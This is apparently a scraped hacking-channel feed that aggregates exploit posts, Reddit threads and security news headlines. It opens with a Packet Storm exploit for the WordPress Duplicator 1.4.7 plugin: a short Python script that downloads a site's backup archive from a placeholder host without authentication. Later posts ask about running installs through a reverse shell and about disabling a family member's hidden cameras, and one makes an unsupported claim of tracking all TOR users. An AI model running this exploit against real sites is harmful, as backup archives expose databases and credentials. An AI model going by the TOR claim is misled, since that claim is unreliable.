Exploit Collector
WordPress Duplicator 1.4.7 Unauthenticated Backup Download

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
WordPress Duplicator plugin version 1.4.7 suffers from a backup disclosure vulnerability.

SHA-256 | 04982466db7c76497be8314d2b990e3813032ae3c42472e2da24efa0e2ac3be6

Download
## Title: WordPress Plugin Duplicator 1.4.7 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.03.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin
## Description:
The WordPress Plugin Duplicator 1.4.7 suffers from Unauthenticated
Backup Download.
The attacker can download all archive information from the system by
using this vulnerability!
Status: CRITICAL

[+] Exploit:

```mysql
#!/usr/bin/python
# Author nu11secur1ty
import requests
import time

vulnerableURL =
"http://pwned_host.com/wordpress/wp-content/backups-dup-lite/20220803_pwned_28dce10d86c575519304_20220803113819_archive.zip"
response = requests.get(vulnerableURL)
open("20220803_pwned_28dce10d86c575519304_20220803113819_archive.zip",
"wb").write(response.content)
time.sleep(5)
print("Right now, you just downloaded the secret archive =)\n")
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin)

## Proof and Exploit:
[href](https://streamable.com/n3osob)

Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Jokerdoor MVID-2022-0628 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Israel Police's Version of Pegasus Spyware Revealed

https://external-preview.redd.it/ehJsnv0xf_HCn1T0q-LSQoPdN-NYETkv4goxJYRMh4w.jpg?width=108&crop=smart&auto=webp&s=60fdc4c1917bfc109d22395d04b8ceb1a88e194b submitted by /u/CyberMasterV
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I am Jon DiMaggio, professional "bad guy hunter" and author of The Art of Cyberwarfare from No Starch Press. AMA/ Ask me anything!

EDIT (5:30pm ET/2:30pm PT): That's all for now. Jon will be back later this evening and tomorrow to answer any remaining questions. Thank you all for participating and remember to use code AMA25 for 25% off of Jon's book at nostarch.com/art-cyberwarfare!

​

I'm a recognized industry veteran in the business of “chasing bad guys,” with over 15 years of experience hunting, researching, and writing about advanced cyber threats. As a specialist in enterprise ransomware attacks and nation-state intrusions, I'm behind white papers such as "Ransom Mafia: Analysis of the World’s First Ransomware Cartel” and "A History of REvil." I'm also the author of The Art of Cyberwarfare: An Investigator's Guide to Espionage, Ransomware, and Organized Cybercrime, published in March by No Starch Press. In addition to exposing the criminal cartels behind major ransomware attacks, I've aided law enforcement agencies in federal indictments of nation-state hacks, and discussed my work with The New York Times, Bloomberg, Fox, CNN, Reuters, WIRED, Vice and, recently, on David Bombal's YouTube channel.

Ask me anything!

From the No Starch Press Team: Jon will be live answering questions as u/jon_dimaggio beginning at 3pm ET/12pm PT.

As part of the AMA we're taking 25% off the cost of The Art of Cyberwarfare now through Saturday at midnight PT when you use code AMA25 at nostarch.com!

submitted by /u/NoStarchPress
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
TOR relay Locater.

Hello, I am a software and network engineer. Recently discovered an easy exploit that displays all TOR users on the network even when the IP is being changed. Each time a new relay is created it is attached to the already existing relay. Which is then backtracked and original location is presented thru the software I created. Proof of concept will be shown to people of real interest. Not bad people.

submitted by /u/crownedcunt
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Installing Python on Windows Reverse Shell

Hey there first post, I'm using a Linux server to reverse shell into my windows machine where I'm trying to install python remotely, so far I've found only one way to install python through powershell which is through choco. If anybody can come up with any other way of installing python through my reverse shell, please feel free to do so in the comments! :)

submitted by /u/Cyrtux
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
My stepdad bought some Wyze cameras and I hate them

Like the title says, my stepdad caught me and my girlfriend getting carried away upstairs in my room. Honestly I said sorry and meant it because they hadn’t met her yet and I wanted them to meet on better terms. So his solution was to set up some cameras around the house. Ever since I’ve discovered the one in our kitchen I feel so fucking uncomfortable, which is not how I want to be in my own home. I don’t exactly know if this is the subreddit for this kind of question, but how do I deal with this? I don’t want to destroy them or permanently make them useless in any way, I just want to be able to find where they all are and how to temporarily disable them or basically go on the “defensive” for a lack of better words. I have the Fing app, and I did the free trial to try and identify the cameras on the Wi-Fi, but I didn’t have any luck. All I know is that I’m sure there’s more based off of Context clues from convos with my stepdad and that the one I’ve found in the Kitchen is a Wyze v.2. Any help or ideas is greatly appreciated!

submitted by /u/The_OG_Lucas
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Server Side Template Injection-Something Distinct!
https://sagarsajeev.medium.com/server-side-template-injection-something-distinct-f0ac234e379?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

How’s it going guys! My name is Sagar Sajeev and this is my writeup about one of my recent SSTI (Server Side Template Injection) finding.Continue reading on Medium » (https://sagarsajeev.medium.com/server-side-template-injection-something-distinct-f0ac234e379?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Massive China-Linked Disinformation Campaign Taps PR Firm for Help

A global network of inauthentic news sites present themselves as independent news outlets, offering content favoring China's government and articles critical of the US.

Dark Reading: Attacks/Breaches
Phylum Releases a Free Community Edition to Make Software Supply Chain Security More Accessible

Users can identify risks across five domains, work on multiple projects, and take advantage of exclusive community benefits.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How Email Security Is Evolving

Securing email communication has never been more critical for organizations, and it has never been more challenging to do so. Attack volumes have increased and become more sophisticated.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
High-Severity Bug in Kaspersky VPN Client Opens Door to PC Takeover

The CVE-2022-27535 local privilege-escalation security vulnerability in the security software threatens remote and work-from-home users.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Time to Patch VMware Products Against a Critical New Vulnerability

A dangerous VMware authentication-bypass bug could give threat actors administrative access over virtual machines.

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty For TOP Cross-Chain Bridge Open Test Is Launched

The TOP cross-chain bridge testnet version is now LIVE! Test and find bugs from TOP bridge and get up to 15,000,000 per issue! Happy…Continue reading on TOP Network »
Read more...

Bug Bounty For TOP Cross-Chain Bridge Open Test Is Launched
https://medium.com/top-network/bug-bounty-for-top-cross-chain-bridge-open-test-is-launched-d96ce9956dc8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video